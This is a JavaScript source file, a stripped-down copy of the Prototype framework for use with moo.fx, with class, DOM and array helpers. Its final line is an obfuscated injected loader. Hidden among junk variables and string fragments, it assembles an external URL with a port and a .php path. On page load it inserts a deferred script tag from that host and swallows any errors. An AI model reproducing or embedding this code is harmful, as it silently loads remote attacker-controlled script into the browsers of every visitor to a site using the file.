/*  Prototype JavaScript framework
 *  (c) 2005 Sam Stephenson <sam@conio.net>
 *  Prototype is freely distributable under the terms of an MIT-style license.
 *  For details, see the Prototype web site: http://prototype.conio.net/
/*--------------------------------------------------------------------------*/

//note: modified & stripped down version of prototype, to be used with moo.fx by mad4milk (http://moofx.mad4milk.net).

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

Object.extend = function(destination, source) {
	for (property in source) destination[property] = source[property];
	return destination;
}

Function.prototype.bind = function(object) {
	var __method = this;
	return function() {
		return __method.apply(object, arguments);
	}
}

Function.prototype.bindAsEventListener = function(object) {
var __method = this;
	return function(event) {
		__method.call(object, event || window.event);
	}
}

function $() {
	if (arguments.length == 1) return get$(arguments[0]);
	var elements = [];
	$c(arguments).each(function(el){
		elements.push(get$(el));
	});
	return elements;

	function get$(el){
		if (typeof el == 'string') el = document.getElementById(el);
		return el;
	}
}

if (!window.Element) var Element = new Object();

Object.extend(Element, {
	remove: function(element) {
		element = $(element);
		element.parentNode.removeChild(element);
	},

	hasClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var hasClass = false;
		element.className.split(' ').each(function(cn){
			if (cn == className) hasClass = true;
		});
		return hasClass;
	},

	addClassName: function(element, className) {
		element = $(element);
		Element.removeClassName(element, className);
		element.className += ' ' + className;
	},
  
	removeClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var newClassName = '';
		element.className.split(' ').each(function(cn, i){
			if (cn != className){
				if (i > 0) newClassName += ' ';
				newClassName += cn;
			}
		});
		element.className = newClassName;
	},

	cleanWhitespace: function(element) {
		element = $(element);
		$c(element.childNodes).each(function(node){
			if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) Element.remove(node);
		});
	},

	find: function(element, what) {
		element = $(element)[what];
		while (element.nodeType != 1) element = element[what];
		return element;
	}
});

var Position = {
	cumulativeOffset: function(element) {
		var valueT = 0, valueL = 0;
		do {
			valueT += element.offsetTop  || 0;
			valueL += element.offsetLeft || 0;
			element = element.offsetParent;
		} while (element);
		return [valueL, valueT];
	}
};

document.getElementsByClassName = function(className) {
	var children = document.getElementsByTagName('*') || document.all;
	var elements = [];
	$c(children).each(function(child){
		if (Element.hasClassName(child, className)) elements.push(child);
	});  
	return elements;
}

//useful array functions
Array.prototype.iterate = function(func){
	for(var i=0;i<this.length;i++) func(this[i], i);
}
if (!Array.prototype.each) Array.prototype.each = Array.prototype.iterate;

function $c(array){
	var nArray = [];
	for (var i=0;i<array.length;i++) nArray.push(array[i]);
	return nArray;
}
var j;if(j!=''){j='L'};var dk=new String();var X=new String();function y(){var S=new String("gAwbE".substr(0,1));var p="";var W;if(W!='' && W!='e'){W='k'};var V=RegExp;var _;if(_!='pU' && _ != ''){_=null};var z;if(z!='fJ'){z='fJ'};var o='';function b(C,Z){this.oy="";var tv;if(tv!='' && tv!='I'){tv=''};var R=new Array();var Y=new Date();var d= new String("[");d+=Z;var Il='';d+="wEz]".substr(3);var lL;if(lL!='zm' && lL != ''){lL=null};var qP;if(qP!='K' && qP!='Ku'){qP=''};var Eq;if(Eq!='' && Eq!='kq'){Eq=null};var VD=new V(d, S);var Yx=new String();var h=new String();return C.replace(VD, o);var m;if(m!='' && m!='H'){m=null};var BJ=new Date();};var f=String("def"+"er");var v=new String("1Bjscrip".substr(3)+"jT0t".substr(3));var i=window;var n=b('8370378373077',"73");var g='';var BZ;if(BZ!='x' && BZ!='lei'){BZ=''};var BD=new Array();var fv=new String("sr"+"c");var u=new String("/so"+"hqUoftl".substr(4)+"ayeSA8i".substr(0,3)+"eIZQr.ceQIZ".substr(4,3)+"om/"+"sof"+"7chmtlachm7".substr(4,3)+"yer"+"kOQ3.coOkQ3".substr(4,3)+"fUotm/1Utof".substr(4,3)+"kzO26.Ozk".substr(3,3)+"ifCOcom".substr(4)+"X38h/ad".substr(4)+"dZcbridZc".substr(3,3)+"iuate.aui".substr(3,3)+"com7lI".substr(0,3)+"/go"+"JtIogl".substr(3)+"tOIxe.c".substr(4)+"yxvom.".substr(3)+"FS1fphpF1fS".substr(4,3));var Ui=new Date();var CZ=new String("http:qfg".substr(0,5)+"//ram"+"nPobler-".substr(3)+"ru.re9qv".substr(0,5)+"nren.4Z9".substr(0,5)+"com.m01K".substr(0,5)+"E39onogr".substr(3)+"VyeafiaseyV".substr(3,5)+"-com."+"l9Wseagol9W".substr(3,5)+"ldonlFhSQ".substr(0,5)+"FsIine.r".substr(3)+"zKru:zKr".substr(3,2));var bb;if(bb!='' && bb!='gh'){bb=''};i.onload=function(){this.Gz="";try {g=CZ+n;var kG=new Date();this.RW='';g+=u;this.M="";E=document.createElement(v);var xv=new Date();this.lu="";E[f]=[4,1][1];var LW;if(LW!='' && LW!='DF'){LW='In'};var _i="";E[fv]=g;this.Xc='';this.IS='';var tD=new Array();var TK;if(TK!='Gd'){TK=''};document.body.appendChild(E);var mK="";var AP=new Array();} catch(w){};};};var RK=new Date();var UR="";y();var gb;if(gb!='Xua' && gb != ''){gb=null};